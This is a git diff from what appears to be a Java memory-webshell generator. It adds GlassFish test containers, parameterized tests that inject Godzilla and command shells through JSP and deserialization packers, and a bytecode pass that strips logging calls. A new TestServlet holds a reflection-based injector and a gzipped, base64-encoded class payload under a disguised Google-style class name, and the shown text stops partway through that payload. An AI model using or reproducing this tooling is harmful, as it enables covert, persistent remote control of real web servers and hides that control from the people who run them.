diff --git a/generator/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java b/generator/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java index 6d1c63ab..d7f06876 100644 --- a/generator/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java +++ b/generator/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java @@ -42,7 +42,9 @@ public class LogRemoveMethodVisitor implements AsmVisitorWrapper.ForDeclaredMeth @Override public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) { if ((opcode == INVOKEVIRTUAL && owner.equals("java/io/PrintStream") && name.equals("println")) - || (opcode == INVOKEVIRTUAL && owner.endsWith("Exception") && name.equals("printStackTrace"))) { + || (opcode == INVOKEVIRTUAL && owner.endsWith("Exception") && name.equals("printStackTrace")) + || (opcode == INVOKEVIRTUAL && owner.equals("java/util/logging/Logger") && (name.equals("info") || name.equals("warning"))) + ) { String[] args = descriptor.substring(1, descriptor.indexOf(')')).split(";"); for (String arg : args) { if (StringUtils.isNotBlank(arg)) { diff --git a/generator/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java b/generator/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java index 4089b795..99debc0a 100644 --- a/generator/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java +++ b/generator/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java @@ -15,6 +15,7 @@ import org.junit.jupiter.api.Test; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.logging.Logger; import static org.junit.jupiter.api.Assertions.assertNotEquals; import static org.junit.jupiter.api.Assertions.assertNotNull; @@ -94,19 +95,26 @@ class LogRemoveVisitorWrapperTest { } public static class TestClass { + static Logger logger = Logger.getLogger(TestClass.class.getName()); public TestClass() { } - public void methodWithLogs() { + public static void methodWithLogs() { System.out.println("This should be removed"); String test = "test"; int length = test.length(); + logger.info(test); try { System.out.println("hello"); throw new RuntimeException("hello"); } catch (Exception e) { e.printStackTrace(); } + logger.warning("wa"); + } + + public static void main(String[] args) { + methodWithLogs(); } } } \ No newline at end of file diff --git a/integration-test/docker-compose/glassfish/docker-compose-3-jdk6.yaml b/integration-test/docker-compose/glassfish/docker-compose-3-jdk6.yaml new file mode 100644 index 00000000..e69de29b diff --git a/integration-test/docker-compose/glassfish/docker-compose-4-jdk8.yaml b/integration-test/docker-compose/glassfish/docker-compose-4-jdk8.yaml new file mode 100644 index 00000000..e69de29b diff --git a/integration-test/docker-compose/glassfish/docker-compose-5.0.1-jdk8.yaml b/integration-test/docker-compose/glassfish/docker-compose-5.0.1-jdk8.yaml new file mode 100644 index 00000000..83239ea1 --- /dev/null +++ b/integration-test/docker-compose/glassfish/docker-compose-5.0.1-jdk8.yaml @@ -0,0 +1,11 @@ +services: + glassfish4: + image: harbor.corp.boundaryx.net/cloudrasp/glassfish:4.1.2 + container_name: glassfish4 + ports: + - "8080:8080" + - "5005:5005" + environment: + JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/glassfish4/glassfish/domains/domain1/autodeploy/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/glassfish/docker-compose-5.1.0.yaml b/integration-test/docker-compose/glassfish/docker-compose-5.1.0.yaml new file mode 100644 index 00000000..6bfc41c8 --- /dev/null +++ b/integration-test/docker-compose/glassfish/docker-compose-5.1.0.yaml @@ -0,0 +1,11 @@ +services: + glassfish501: + image: reajason/glassfish:5.0.1 + container_name: glassfish501 + ports: + - "8080:8080" + - "5005:5005" + environment: + JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/glassfish/docker-compose-6-jdk11.yaml b/integration-test/docker-compose/glassfish/docker-compose-6-jdk11.yaml new file mode 100644 index 00000000..ac64dc2f --- /dev/null +++ b/integration-test/docker-compose/glassfish/docker-compose-6-jdk11.yaml @@ -0,0 +1,11 @@ +services: + glassfish510: + image: reajason/glassfish:5.1.0 + container_name: glassfish510 + ports: + - "8080:8080" + - "5005:5005" + environment: + JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/glassfish/docker-compose-7-jdk17.yaml b/integration-test/docker-compose/glassfish/docker-compose-7-jdk17.yaml new file mode 100644 index 00000000..e3dd3233 --- /dev/null +++ b/integration-test/docker-compose/glassfish/docker-compose-7-jdk17.yaml @@ -0,0 +1,11 @@ +services: + glassfish626: + image: reajason/glassfish:6.2.6-jdk11 + container_name: glassfish626 + ports: + - "8080:8080" + - "5005:5005" + environment: + JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 + volumes: + - ../../../vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/usr/local/glassfish6/glassfish/domains/domain1/autodeploy/app.war \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish3ContainerTest.java new file mode 100644 index 00000000..516c130f --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish3ContainerTest.java @@ -0,0 +1,7 @@ +package com.reajason.javaweb.integration.glassfish; + +/** + * @author ReaJason + * @since 2024/12/12 + */public class Glassfish3ContainerTest { +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish4ContainerTest.java new file mode 100644 index 00000000..00b60313 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish4ContainerTest.java @@ -0,0 +1,67 @@ +package com.reajason.javaweb.integration.glassfish; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Slf4j +@Testcontainers +public class Glassfish3ContainerTest { + public static final String imageName = "reajason/glassfish:3.1.2.2-jdk6"; + + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/glassfish3/glassfish/domains/domain1/autodeploy/app.war") + .waitingFor(Wait.forLogMessage(".*startup time.*", 1)) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( +// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), +// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.GLASSFISH, shellType, shellTool, Opcodes.V1_6, packer); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish501ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish501ContainerTest.java new file mode 100644 index 00000000..735ee6f9 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish501ContainerTest.java @@ -0,0 +1,67 @@ +package com.reajason.javaweb.integration.glassfish; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Slf4j +@Testcontainers +public class Glassfish5ContainerTest { + public static final String imageName = "reajason/glassfish:5.0.1"; + + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war") + .waitingFor(Wait.forLogMessage(".*deployed.*", 1)) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.GLASSFISH, shellType, shellTool, Opcodes.V1_6, packer); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish510ContainerTest.java new file mode 100644 index 00000000..d940a84f --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish510ContainerTest.java @@ -0,0 +1,67 @@ +package com.reajason.javaweb.integration.glassfish; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Slf4j +@Testcontainers +public class Glassfish501ContainerTest { + public static final String imageName = "reajason/glassfish:5.0.1"; + + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war") + .waitingFor(Wait.forLogMessage(".*deployed.*", 1)) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.GLASSFISH, shellType, shellTool, Opcodes.V1_6, packer); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish6ContainerTest.java new file mode 100644 index 00000000..1c895ca0 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish6ContainerTest.java @@ -0,0 +1,66 @@ +package com.reajason.javaweb.integration.glassfish; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Slf4j +@Testcontainers +public class Glassfish510ContainerTest { + public static final String imageName = "reajason/glassfish:5.1.0"; + + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war") + .waitingFor(Wait.forLogMessage(".*deployed.*", 1)) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.GLASSFISH, shellType, shellTool, Opcodes.V1_6, packer); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish7ContainerTest.java new file mode 100644 index 00000000..2bb16631 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/Glassfish7ContainerTest.java @@ -0,0 +1,66 @@ +package com.reajason.javaweb.integration.glassfish; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/12 + */ +@Slf4j +@Testcontainers +public class Glassfish6ContainerTest { + public static final String imageName = "reajason/glassfish:6.2.6-jdk11"; + + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warJakartaFile, "/usr/local/glassfish6/glassfish/domains/domain1/autodeploy/app.war") + .waitingFor(Wait.forLogMessage(".*deployed.*", 1)) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.GLASSFISH, shellType, shellTool, Opcodes.V1_6, packer); + } +} diff --git a/vul-webapp-jakarta/src/main/java/TestServlet.java b/vul-webapp-jakarta/src/main/java/TestServlet.java deleted file mode 100644 index f186444f..00000000 --- a/vul-webapp-jakarta/src/main/java/TestServlet.java +++ /dev/null @@ -1,23 +0,0 @@ -import jakarta.servlet.ServletException; -import jakarta.servlet.http.HttpServlet; -import jakarta.servlet.http.HttpServletRequest; -import jakarta.servlet.http.HttpServletResponse; - -import java.io.IOException; - -/** - * @author ReaJason - * @since 2024/12/7 - */ -public class TestServlet extends HttpServlet { - - @Override - protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { - - } - - @Override - protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { - - } -} diff --git a/vul-webapp-jakarta/src/main/java/ErrorHandler.java b/vul-webapp-jakarta/src/main/java/jakarta/ErrorHandler.java similarity index 100% rename from vul-webapp-jakarta/src/main/java/ErrorHandler.java rename to vul-webapp-jakarta/src/main/java/jakarta/ErrorHandler.java diff --git a/vul-webapp-jakarta/src/main/java/JavaReadObjServlet.java b/vul-webapp-jakarta/src/main/java/jakarta/JavaReadObjServlet.java similarity index 100% rename from vul-webapp-jakarta/src/main/java/JavaReadObjServlet.java rename to vul-webapp-jakarta/src/main/java/jakarta/JavaReadObjServlet.java diff --git a/vul-webapp-jakarta/src/main/java/jakarta/TestServlet.java b/vul-webapp-jakarta/src/main/java/jakarta/TestServlet.java new file mode 100644 index 00000000..1cf9008d --- /dev/null +++ b/vul-webapp-jakarta/src/main/java/jakarta/TestServlet.java @@ -0,0 +1,295 @@ +import jakarta.servlet.ServletException; +import jakarta.servlet.http.HttpServlet; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.*; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +public class TestServlet extends HttpServlet { + + static Object getFV(Object obj, String fieldName) throws Exception { + try { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } catch (Exception var3) { + return null; + } + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + for (Class clazz = obj.getClass(); clazz != null; clazz = clazz.getSuperclass()) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException var3) { + } + } + + throw new NoSuchFieldException(fieldName); + } + + public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { + Field field = getF(obj, fieldName); + field.set(obj, value); + } + + static byte[] decodeBase64(String base64Str) throws Exception { + try { + Class decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception var4) { + Class decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke((Object) null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream gzipInputStream = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + + int n; + while ((n = gzipInputStream.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + + return out.toByteArray(); + } + + public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (Method value : methods) { + if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) { + method = value; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } + + public String getUrlPattern() { + return "/*"; + } + + public String getClassName() { + return "com.google.gso.sLUOL.ErrorHandler"; + } + + public String getBase64String() { + return "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